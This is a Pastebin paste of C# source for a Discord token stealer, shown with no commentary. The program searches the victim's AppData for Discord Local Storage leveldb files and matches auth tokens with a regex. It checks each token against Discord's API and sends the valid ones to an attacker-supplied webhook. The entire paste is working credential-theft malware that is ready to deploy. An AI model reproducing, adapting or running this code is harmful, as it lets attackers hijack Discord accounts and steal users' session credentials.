Advertisement
loler222444

Untitled

Jul 4th, 2020
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.32 KB | None | 0 0
  1. using System;
  2. using System.Collections.Specialized;
  3. using System.IO;
  4. using System.Net;
  5. using System.Text.RegularExpressions;
  6.  
  7. namespace Discord
  8. {
  9. class Program
  10. {
  11.  
  12. private static string webhook = $"{webhook}";
  13.  
  14. private static bool CheckMatch(string text)
  15. {
  16. WebClient client = new WebClient();
  17.  
  18. try
  19. {
  20. client.Headers.Add("Authorization", text);
  21. string result = client.DownloadString("https://discordapp.com/api/v6/users/@me");
  22. if (!result.Contains("Unauthorized"))
  23. {
  24. return true;
  25. } else
  26. {
  27. return false;
  28. }
  29.  
  30. } catch (Exception)
  31. {
  32. return false;
  33. }
  34. }
  35.  
  36. private static void FourthTask(string[] files)
  37. {
  38. foreach (var item in files)
  39. {
  40. if(Path.GetExtension(item) == ".ldb")
  41. {
  42. string content = File.ReadAllText(item);
  43. Match correctMatch = Regex.Match(content, @"[a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}|mfa\.[a-zA-Z0-9_\-]{84}");
  44.  
  45. if(correctMatch.Success)
  46. {
  47. if (CheckMatch(correctMatch.Value))
  48. {
  49. WebClient client = new WebClient();
  50.  
  51. NameValueCollection nvc = new NameValueCollection();
  52. nvc.Add("content", $"```Token : {correctMatch.Value}```");
  53.  
  54. client.UploadValues(webhook, nvc);
  55.  
  56. } else
  57. {
  58. Console.WriteLine("Something didn't work, please report this to me the best guy in the whole universe: kevkekvevkekvkekvkv");
  59. }
  60. }
  61. }
  62. }
  63. }
  64.  
  65. private static void ThirdTask(string[] dirs)
  66. {
  67. foreach (var item in dirs)
  68. {
  69. if (item.Contains("Local Storage"))
  70. {
  71. string[] dirs2 = Directory.GetDirectories(item);
  72. foreach (var item2 in dirs2)
  73. {
  74. if(item2.Contains("leveldb"))
  75. {
  76. string[] files = Directory.GetFiles(item2);
  77. FourthTask(files);
  78. }
  79. }
  80. }
  81. }
  82. }
  83.  
  84. private static void SecondTask(string[] dirs)
  85. {
  86. foreach (var item in dirs)
  87. {
  88. if (item.Contains("discord"))
  89. {
  90. string[] dirs2 = Directory.GetDirectories(item);
  91. ThirdTask(dirs2);
  92. }
  93. }
  94. }
  95.  
  96. private static void FirstTask()
  97. {
  98. string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  99. string[] dirs = Directory.GetDirectories(path);
  100. SecondTask(dirs);
  101. }
  102.  
  103.  
  104. static void Main(string[] args)
  105. {
  106. FirstTask();
  107. }
  108. }
  109. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement